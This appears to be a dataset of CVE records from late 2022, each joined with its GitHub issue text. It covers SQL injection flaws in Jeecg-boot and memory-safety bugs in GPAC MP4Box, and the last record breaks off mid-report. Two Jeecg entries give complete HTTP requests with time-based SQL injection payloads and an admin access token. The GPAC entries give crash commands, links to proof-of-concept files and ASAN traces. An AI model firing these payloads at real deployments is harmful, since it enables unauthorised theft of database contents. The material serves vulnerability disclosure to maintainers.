[jeecg-boot漏洞.pdf](https://github.com/jeecgboot/jeecg-boot/files/9858362/jeecg-boot.pdf)
|
[CVE-2022-45206]/sys/duplicate/check存在sql注入漏洞
|
https://api.github.com/repos/jeecgboot/JeecgBoot/issues/4129/comments
| 12 |
2022-10-25T08:10:59Z
|
2024-04-21T07:44:09Z
|
https://github.com/jeecgboot/JeecgBoot/issues/4129
| 1,422,048,340 | 4,129 |
CVE-2022-45207
|
2022-11-25T17:15:11.117
|
Jeecg-boot v3.4.3 was discovered to contain a SQL injection vulnerability via the component updateNullByEmptyString.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Product"
],
"url": "http://jeecg-boot.com"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/jeecgboot/jeecg-boot/issues/4127"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jeecg:jeecg_boot:3.4.3:*:*:*:*:*:*:*",
"matchCriteriaId": "49DF84AE-6D1A-4065-AB0B-CB6926D6C5F3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/jeecgboot/jeecg-boot/issues/4127
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"jeecgboot",
"jeecg-boot"
] |
java提供了原生的预编译sql语句，这样可以防止sql注入问题
# queryListWithPermission
下图没有进行预编译处理，建议换成#{},虽然项目现在没有使用这条语句，但不排除以后的可能，建议修复
<img width="1532" alt="截屏2022-10-25 10 48 22" src="https://user-images.githubusercontent.com/60163868/197670494-95f85eb2-ce58-43ee-9aef-02b9e07ba2b1.png">
# updateNullByEmptyString
下图也使用的是${}
<img width="1139" alt="截屏2022-10-25 10 51 52" src="https://user-images.githubusercontent.com/60163868/197670945-89f82647-b399-4a6a-b9b1-03eb2a713926.png">
但实际上是写死的，但为了安全考虑，建议也换乘#{}
<img width="780" alt="截屏2022-10-25 10 52 35" src="https://user-images.githubusercontent.com/60163868/197671024-f7cee512-178f-4af5-8c2c-f62664b0e356.png">
# selectLogicDeleted
这里也建议换乘#{}
<img width="1321" alt="截屏2022-10-25 11 20 57" src="https://user-images.githubusercontent.com/60163868/197674680-6577a959-a502-412f-ad08-37297971dfd1.png">
# queryFilterTableDictInfo
<img width="1566" alt="截屏2022-10-25 14 52 32" src="https://user-images.githubusercontent.com/60163868/197702885-801b65ee-7a36-4077-9764-96e9e26a6d32.png">
# queryTableDictItemsByCodeAndFilter
<img width="1595" alt="截屏2022-10-25 14 53 37" src="https://user-images.githubusercontent.com/60163868/197703101-ff062b69-6b01-4663-862e-7a4acf3f6625.png">
# queryTableDictTextByKey
<img width="1261" alt="截屏2022-10-25 14 54 35" src="https://user-images.githubusercontent.com/60163868/197703286-0cf1f799-35ac-4016-ba5b-1048fe40f017.png">
# queryTreeList
<img width="1075" alt="截屏2022-10-25 15 13 33" src="https://user-images.githubusercontent.com/60163868/197707515-1bc6dd34-f6b7-49b7-a57d-ee7b2f14ab6a.png">
# queryTableDictWithFilter
<img width="1529" alt="截屏2022-10-25 15 39 16" src="https://user-images.githubusercontent.com/60163868/197712742-0d3b7355-bbe1-42b3-862b-3e0271b29285.png">
# queryAllTableDictItems
<img width="1597" alt="截屏2022-10-25 15 40 55" src="https://user-images.githubusercontent.com/60163868/197713074-c6d05bb4-303c-49c5-9dae-9b5544c03a80.png">
# queryTableDictByKeysAndFilterSql
<img width="1429" alt="截屏2022-10-25 15 43 20" src="https://user-images.githubusercontent.com/60163868/197713565-b959b45c-104e-4486-98e1-e65dd3aa62f3.png">
|
[CVE-2022-45207]这里有几处没有换成预编译，但个人建议修复
|
https://api.github.com/repos/jeecgboot/JeecgBoot/issues/4127/comments
| 6 |
2022-10-25T06:07:32Z
|
2022-12-07T00:59:38Z
|
https://github.com/jeecgboot/JeecgBoot/issues/4127
| 1,421,911,807 | 4,127 |
CVE-2022-45208
|
2022-11-25T17:15:11.173
|
Jeecg-boot v3.4.3 was discovered to contain a SQL injection vulnerability via the component /sys/user/putRecycleBin.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 1.4,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Product"
],
"url": "http://jeecg-boot.com"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/jeecgboot/jeecg-boot/issues/4126"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jeecg:jeecg_boot:3.4.3:*:*:*:*:*:*:*",
"matchCriteriaId": "49DF84AE-6D1A-4065-AB0B-CB6926D6C5F3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/jeecgboot/jeecg-boot/issues/4126
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"jeecgboot",
"jeecg-boot"
] |
# sysUserMapper.xml
revertLogicDeleted. You can see that no precompiling is performed
<img width="1048" alt="截屏2022-10-25 11 40 04" src="https://user-images.githubusercontent.com/60163868/197676949-8016d0d1-9874-45fd-ba3f-89c63d8a2c90.png">
# SysUserController.java
<img width="1278" alt="截屏2022-10-25 11 40 32" src="https://user-images.githubusercontent.com/60163868/197676991-1d2c1303-6b2c-4629-a4e3-32d4da435bb0.png">
# SysUserServiceImpl.java
<img width="1201" alt="截屏2022-10-25 11 41 42" src="https://user-images.githubusercontent.com/60163868/197677147-41162874-a54a-462e-ab5f-0924e086c787.png">
So Users can pass in malicious parameters through http requests to achieve SQL injection
# poc
The website will return immediately when the following content is passed in
<img width="1513" alt="截屏2022-10-25 11 43 33" src="https://user-images.githubusercontent.com/60163868/197677356-38bc1a03-a8cd-414a-8f8b-a8d1afc2a022.png">
After the following content is passed in, the website will return after a delay of 2 seconds
<img width="1636" alt="截屏2022-10-25 11 43 57" src="https://user-images.githubusercontent.com/60163868/197677403-b693a283-5219-4d31-acd1-e6de9e403882.png">
# vuln
attack can user this to get data from database
# payload:
PUT /jeecg-boot/sys/user/putRecycleBin HTTP/1.1
Host: 192.168.1.1:8088
Content-Length: 34
Request-Origion: Knife4j
Accept: */*
knife4j-gateway-code: ROOT
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NjY2NjgzNjYsInVzZXJuYW1lIjoiYWRtaW4ifQ.WUx3LR8rvOp92_GueiJtlqtjV4tDRnOZos_-IAp34nA
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Origin: http://192.168.1.1:8088
Referer: http://192.168.1.1:8088/jeecg-boot/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
{
"userIds": "a') OR SLEEP('2"
}
# patch
In (${})
It seems that this cannot be modified to precompile
So it is recommended to add some keywords such as')
|
[CVE-2022-45208]/sys/user/putRecycleBin is affected by sql injection
|
https://api.github.com/repos/jeecgboot/JeecgBoot/issues/4126/comments
| 2 |
2022-10-25T03:44:24Z
|
2022-12-07T01:05:07Z
|
https://github.com/jeecgboot/JeecgBoot/issues/4126
| 1,421,795,524 | 4,126 |
CVE-2022-45210
|
2022-11-25T17:15:11.230
|
Jeecg-boot v3.4.3 was discovered to contain a SQL injection vulnerability via the component /sys/user/deleteRecycleBin.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 1.4,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Product"
],
"url": "http://jeecg-boot.com"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/jeecgboot/jeecg-boot/issues/4125"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jeecg:jeecg_boot:3.4.3:*:*:*:*:*:*:*",
"matchCriteriaId": "49DF84AE-6D1A-4065-AB0B-CB6926D6C5F3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/jeecgboot/jeecg-boot/issues/4125
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"jeecgboot",
"jeecg-boot"
] |
# sysUserMapper.xml
deleteLogicDeleted. You can see that no precompiling is performed
<img width="617" alt="截屏2022-10-25 11 04 50" src="https://user-images.githubusercontent.com/60163868/197672626-fb8257e3-ca86-484e-a4aa-e878ebb31c34.png">
# SysUserController.java
<img width="811" alt="截屏2022-10-25 11 06 04" src="https://user-images.githubusercontent.com/60163868/197672755-b9609039-c01a-42c9-9fec-00adfb6c22fb.png">
# SysUserServiceImpl.java
<img width="846" alt="截屏2022-10-25 11 06 35" src="https://user-images.githubusercontent.com/60163868/197672819-f5505608-26e4-4ba4-a7c5-ff6224d8ddce.png">
So Users can pass in malicious parameters through http requests to achieve SQL injection
# poc
The website will return immediately when the following content is passed in
<img width="1617" alt="截屏2022-10-25 11 07 07" src="https://user-images.githubusercontent.com/60163868/197672893-82a45a08-2a8f-44ea-bde1-13e2e84044b6.png">
After the following content is passed in, the website will return after a delay of 2 seconds
<img width="1656" alt="截屏2022-10-25 11 07 36" src="https://user-images.githubusercontent.com/60163868/197672953-bcf770b9-d5d9-4f19-a9ac-416e14aef6a6.png">
# vuln
attack can user this to get data from database
# payload:
DELETE /jeecg-boot/sys/user/deleteRecycleBin?userIds=')+OR+SLEEP(2)+OR+id+IN+(' HTTP/1.1
Host: 192.168.1.1:8088
Content-Type: application/x-www-form-urlencoded
Accept: */*
knife4j-gateway-code: ROOT
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NjY2NjgzNjYsInVzZXJuYW1lIjoiYWRtaW4ifQ.WUx3LR8rvOp92_GueiJtlqtjV4tDRnOZos_-IAp34nA
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Request-Origion: Knife4j
Origin: http://192.168.1.1:8088
Referer: http://192.168.1.1:8088/jeecg-boot/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
# patch
In (${})
It seems that this cannot be modified to precompile
So it is recommended to add some keywords such as')
|
[CVE-2022-45210]/sys/user/deleteRecycleBin is affected by sql injection
|
https://api.github.com/repos/jeecgboot/JeecgBoot/issues/4125/comments
| 2 |
2022-10-25T03:12:40Z
|
2022-12-07T01:16:36Z
|
https://github.com/jeecgboot/JeecgBoot/issues/4125
| 1,421,774,671 | 4,125 |
CVE-2022-45202
|
2022-11-29T04:15:11.207
|
GPAC v2.1-DEV-rev428-gcb8ae46c8-master was discovered to contain a stack overflow via the function dimC_box_read at isomedia/box_code_3gpp.c.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2296"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://www.debian.org/security/2023/dsa-5411"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2296
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
### Description
Stack buffer overflow in function dimC_box_read at isomedia/box_code_3gpp.c:1070
### System info
ubuntu 20.04 lts
### version info:
···
/MP4Box -version
MP4Box - GPAC version 2.1-DEV-rev428-gcb8ae46c8-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB
···
### compile
./configure --enable-sanitizer
make
###
crash command:
./MP4Box -bt poc2
poc2 :
[poc2.zip](https://github.com/gpac/gpac/files/9897264/poc2.zip)
Here is stack overflow output by ASAN:
```
[AV1] Error parsing tile group, tile 0 start 58 + size 17220 exceeds OBU length 3
[AV1] Frame parsing did not consume the right number of bytes !
[AV1] could not parse AV1 OBU at position 42. Leaving parsing.
[ISOBMFF] AV1ConfigurationBox overflow read 17 bytes, of box size 16.
[iso file] Box "av1C" size 24 (start 20) invalid (read 25)
=================================================================
==22786==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fff0c1f8a40 at pc 0x7f7bb77cb3ad bp 0x7fff0c1f85d0 sp 0x7fff0c1f7d78
READ of size 1031 at 0x7fff0c1f8a40 thread T0
#0 0x7f7bb77cb3ac in __interceptor_strdup ../../../../src/libsanitizer/asan/asan_interceptors.cc:443
#1 0x7f7bb43ee2dd in dimC_box_read isomedia/box_code_3gpp.c:1070
#2 0x7f7bb44aca33 in gf_isom_box_read isomedia/box_funcs.c:1866
#3 0x7f7bb44aca33 in gf_isom_box_parse_ex isomedia/box_funcs.c:271
#4 0x7f7bb44ade85 in gf_isom_parse_root_box isomedia/box_funcs.c:38
#5 0x7f7bb44d6efc in gf_isom_parse_movie_boxes_internal isomedia/isom_intern.c:378
#6 0x7f7bb44dd111 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:868
#7 0x7f7bb44dd111 in gf_isom_open_file isomedia/isom_intern.c:988
#8 0x55829fb43139 in mp4box_main /home/fuzz/gpac/applications/mp4box/mp4box.c:6211
#9 0x7f7bb1a59082 in __libc_start_main ../csu/libc-start.c:308
#10 0x55829fb1ecbd in _start (/home/fuzz/gpac/bin/gcc/MP4Box+0xa3cbd)
Address 0x7fff0c1f8a40 is located in stack of thread T0 at offset 1056 in frame
#0 0x7f7bb43edeff in dimC_box_read isomedia/box_code_3gpp.c:1048
This frame has 1 object(s):
[32, 1056) 'str' (line 1049) <== Memory access at offset 1056 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/asan/asan_interceptors.cc:443 in __interceptor_strdup
Shadow bytes around the buggy address:
0x1000618370f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100061837100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100061837110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100061837120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100061837130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100061837140: 00 00 00 00 00 00 00 00[f3]f3 f3 f3 f3 f3 f3 f3
0x100061837150: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00
0x100061837160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100061837170: f1 f1 f1 f1 f1 f1 f8 f2 00 f2 f2 f2 00 00 f3 f3
0x100061837180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100061837190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==22786==ABORTING
```
### Impact
This is capable of causing crashes and allowing modification of stack memory which could lead to remote code execution.
### Code location
```
GF_Err dimC_box_read(GF_Box *s, GF_BitStream *bs)
{
char str[1024];
u32 i;
GF_DIMSSceneConfigBox *p = (GF_DIMSSceneConfigBox *)s;
ISOM_DECREASE_SIZE(p, 3);
p->profile = gf_bs_read_u8(bs);
p->level = gf_bs_read_u8(bs);
p->pathComponents = gf_bs_read_int(bs, 4);
p->fullRequestHost = gf_bs_read_int(bs, 1);
p->streamType = gf_bs_read_int(bs, 1);
p->containsRedundant = gf_bs_read_int(bs, 2);
i=0;
str[0]=0;
while (i < GF_ARRAY_LENGTH(str)) {
str[i] = gf_bs_read_u8(bs);
if (!str[i]) break;
i++;
}
ISOM_DECREASE_SIZE(p, i);
**p->textEncoding = gf_strdup(str);** //line:1070 this issue
i=0;
str[0]=0;
while (i < GF_ARRAY_LENGTH(str)) {
str[i] = gf_bs_read_u8(bs);
if (!str[i]) break;
i++;
}
ISOM_DECREASE_SIZE(p, i);
p->contentEncoding = gf_strdup(str); //line:1081 issue 2294 related
return GF_OK;
}
```
|
Stack buffer overflow in function dimC_box_read at isomedia/box_code_3gpp.c:1070
|
https://api.github.com/repos/gpac/gpac/issues/2296/comments
| 1 |
2022-10-31T01:21:46Z
|
2022-11-04T08:28:44Z
|
https://github.com/gpac/gpac/issues/2296
| 1,429,110,423 | 2,296 |
CVE-2022-45204
|
2022-11-29T04:15:11.253
|
GPAC v2.1-DEV-rev428-gcb8ae46c8-master was discovered to contain a memory leak via the function dimC_box_read at isomedia/box_code_3gpp.c.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2307"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2307
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
### Description
Memory Leak in dimC_box_read at isomedia/box_code_3gpp.c:1060
### System info
ubuntu 20.04 lts
###
version info:
```
./MP4Box -version
MP4Box - GPAC version 2.1-DEV-rev460-g9d963dc62-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration:
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DI
```
### compile
./configure --enable-sanitizer
make
### crash command:
./MP4Box -bt poc_ml
poc :
https://github.com/Janette88/test_pocs/blob/main/poc_ml
Here is output by ASAN:
```
[ISOBMFF] AV1ConfigurationBox: read only 4 bytes (expected 16).
[iso file] Box "av1C" (start 20) has 12 extra bytes
[isom] not enough bytes in box dimC: 0 left, reading 1 (file isomedia/box_code_3gpp.c, line 1082)
[iso file] Read Box "dimC" (start 44) failed (Invalid IsoMedia File) - skipping
Error opening file /home/fuzz/test/poc_ml: Invalid IsoMedia File
=================================================================
==71539==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 2566 byte(s) in 1 object(s) allocated from:
#0 0x7fe8c635f808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
#1 0x7fe8c2ef8d39 in dimC_box_read isomedia/box_code_3gpp.c:1060
#2 0x7fe8c2fb75c3 in gf_isom_box_read isomedia/box_funcs.c:1866
#3 0x7fe8c2fb75c3 in gf_isom_box_parse_ex isomedia/box_funcs.c:271
#4 0x7fe8c2fb8a15 in gf_isom_parse_root_box isomedia/box_funcs.c:38
#5 0x7fe8c2fe1a8c in gf_isom_parse_movie_boxes_internal isomedia/isom_intern.c:378
#6 0x7fe8c2fe7ca1 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:868
#7 0x7fe8c2fe7ca1 in gf_isom_open_file isomedia/isom_intern.c:988
#8 0x55c56a3e9139 in mp4box_main /home/fuzz/gpac/applications/mp4box/mp4box.c:6209
#9 0x7fe8c0558082 in __libc_start_main ../csu/libc-start.c:308
SUMMARY: AddressSanitizer: 2566 byte(s) leaked in 1 allocation(s).
```
### code location:
```
GF_Err dimC_box_read(GF_Box *s, GF_BitStream *bs)
{
u32 i, msize;
GF_DIMSSceneConfigBox *p = (GF_DIMSSceneConfigBox *)s;
ISOM_DECREASE_SIZE(p, 3);
p->profile = gf_bs_read_u8(bs);
p->level = gf_bs_read_u8(bs);
p->pathComponents = gf_bs_read_int(bs, 4);
p->fullRequestHost = gf_bs_read_int(bs, 1);
p->streamType = gf_bs_read_int(bs, 1);
p->containsRedundant = gf_bs_read_int(bs, 2);
char *str = gf_malloc(sizeof(char)*(p->size+1)); //line 1060 here p->size+1 = 2566
if (!str) return GF_OUT_OF_MEM;
msize = (u32) p->size;
str[msize] = 0;
i=0;
str[0]=0;
while (i < msize) {
ISOM_DECREASE_SIZE(p, 1);
str[i] = gf_bs_read_u8(bs);
if (!str[i]) break;
i++;
}
if (i == msize) {
gf_free(str);
return GF_ISOM_INVALID_FILE;
}
p->textEncoding = gf_strdup(str);
i=0;
str[0]=0;
while (i < msize) {
ISOM_DECREASE_SIZE(p, 1); //line :1082 not enough bytes in box dimC: 0 left, reading 1
str[i] = gf_bs_read_u8(bs);
if (!str[i]) break;
i++;
}
if (i == msize) {
gf_free(str);
return GF_ISOM_INVALID_FILE;
}
p->contentEncoding = gf_strdup(str);
gf_free(str);
if (!p->textEncoding || !p->contentEncoding)
return GF_OUT_OF_MEM;
return GF_OK;
}
```
ps: The issue could be verified using the poc in issue 2294 and 2296. The patch of issue 2294 and 2296 was not perfect because it still existed memory leak risk .
ref:
https://github.com/gpac/gpac/issues/2294
https://github.com/gpac/gpac/issues/2296
|
Memory Leak in dimC_box_read at isomedia/box_code_3gpp.c:1060
|
https://api.github.com/repos/gpac/gpac/issues/2307/comments
| 1 |
2022-11-07T12:35:15Z
|
2022-11-08T02:28:56Z
|
https://github.com/gpac/gpac/issues/2307
| 1,438,293,014 | 2,307 |
CVE-2022-4202
|
2022-11-29T09:15:09.460
|
A vulnerability, which was classified as problematic, was found in GPAC 2.1-DEV-rev490-g68064e101-master. Affected is the function lsr_translate_coords of the file laser/lsr_dec.c. The manipulation leads to integer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The name of the patch is b3d821c4ae9ba62b3a194d9dcb5e99f17bd56908. It is recommended to apply a patch to fix this issue. VDB-214518 is the identifier assigned to this vulnerability.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.4,
"source": "[email protected]",
"type": "Secondary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://drive.google.com/file/d/1HVWa6IpAbvsMS5rx091RfjUB4GfXrMLE/view"
},
{
"source": "[email protected]",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/commit/b3d821c4ae9ba62b3a194d9dcb5e99f17bd56908"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2333"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://vuldb.com/?id.214518"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://www.debian.org/security/2023/dsa-5411"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:2.1-dev-rev490-g68064e101-master:*:*:*:*:*:*:*",
"matchCriteriaId": "C49A23A9-D02C-438B-8283-93F59CD58E1D",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2333
|
[
"Exploit",
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
- [X] I looked for a similar issue and couldn't find any.
- [X] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
Hi, a CVE was issued affecting gpac and I wasn't able to find any report here or any fix. [VulDB has a "writeup"](https://vuldb.com/?id.214518), which links to an [advisory in Google Drive](https://drive.google.com/file/d/1HVWa6IpAbvsMS5rx091RfjUB4GfXrMLE/view), which [links to a reproducer](https://drive.google.com/file/d/170O0RtI03P1z4gE_ilRZQVS1w7uE7tX9/view?usp=sharing)
I can indeed reproduce when built from 4112fc3562a67508b4be9f7760d8b7ae1ee00f27 (current HEAD at the time of writing):
```
# MP4Box -bt /poc-integer-Overflow
[iso file] extra box maxr found in hinf, deleting
[iso file] extra box maxr found in hinf, deleting
[iso file] Unknown box type 80rak in parent moov
